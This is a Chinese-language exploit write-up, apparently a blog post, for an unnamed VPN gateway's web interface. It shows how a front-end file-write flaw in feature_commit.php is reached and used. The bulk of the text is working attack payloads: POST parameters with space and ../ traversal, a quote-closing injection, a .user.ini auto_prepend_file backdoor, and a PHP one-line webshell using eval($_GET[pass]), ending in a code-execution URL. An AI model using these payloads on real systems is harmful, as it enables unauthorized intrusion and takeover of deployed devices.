Part1前言
这套系统我估计是全网第一个公开能拿shell的吧(不是的话当我没说),哪套系统自己猜,这次先分享下前台任意文件写入,还有几个rce日后分享,也感谢独立团孙德胜Alan提供的思路。
Part2代码分析
漏洞位置:/view/vpn/autovpn/feature_commit.php
先通过POST传参进入if判断
在下面的fc_extendsubnet处传参即可进入漏洞位置
会将我们传入的参数提交到putConfig方法
putConfig方法在common.php里,我们来观察下
很简单哈,就是一个file_put_contents函数
再回到存在漏洞的位置,是通过indevice传入文件位置,并且会判断文件后缀最后一位是否为“i”,不是的话就给文件后缀添加上“i”,然后与$lanfile拼接。
Part3开冲!!!
因为这套系统是以Linux为主,所以我们可以通过空格去绕过已经定义好的$lanfile 以下为我自己做的测试:
然后呢他去判断后缀是否为“i”,所以我们可以利用.user.ini制作一个后门。
关于.user.ini后门,大家可以去看P牛写的文章:https://www.vuln.cn/6001
之后利用../跳目录,写入绝对路径。所以我们文件名的payload是:
tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.user.in
文件名ok了,我们去构造内容
可以看到是由ft_ipaddr和ft_ipmask传参的,我们简单测试下
tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.users.ini&ft_ipaddr=111&ft_ipmask=1234
可以看到内容是没有问题的,但是会给我们的内容首尾添加上两个双引号,所以我们需要在payload里加入双引号进行闭合。
Payload:
tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.users.ini&ft_ipaddr=111&ft_ipmask=1234"11111"
闭合成功
然后我们构造.user.ini的payload:
tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/.user.in&ft_ipmask=%22 auto_prepend_file=1.gifi "
注意:“auto_prepend_file=1.gifi”前面一定要有回车,不然是不会生效的。
之后再往“1.gifi”写入一句话木马,这里无所谓了,不需要回车。Payload:
tunnelType=1&fc_extendsubnet=2&indevice=1%20../../../../../../../../../var/www/html/view/vpn/autovpn/1.gif&ft_ipmask="<?php%20eval($_GET[pass]);?>"
然后就ok了,需要先等待上0-3分钟,或者是重启Web服务。之后随便访问.user.ini同级目录下的.php文件,加上咱们的木马,即可代码执行了。
/view/vpn/autovpn/apngw.php?pass=phpinfo();